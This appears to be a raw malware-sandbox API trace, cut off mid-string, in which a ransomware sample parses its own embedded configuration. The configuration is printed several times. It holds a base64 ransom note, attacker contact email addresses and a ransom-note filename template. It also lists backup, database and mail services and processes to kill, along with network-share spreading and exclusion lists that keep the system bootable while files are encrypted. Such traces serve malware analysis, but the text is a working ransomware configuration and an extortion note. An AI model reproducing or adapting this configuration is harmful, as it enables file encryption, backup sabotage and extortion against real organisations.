Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0x2bf75c, _Radix=0 | out: _EndPtr=0x2bf75c*=",\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 1500 [0126.740] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6918, Size=0x10) returned 0x2f6918 [0126.740] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6950 [0126.740] strtol (in: _Str="51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0x2bf75c, _Radix=0 | out: _EndPtr=0x2bf75c*=",\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 51200 [0126.740] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6918, Size=0x14) returned 0x2f6970 [0126.740] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6990 [0126.740] strtol (in: _Str="8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3R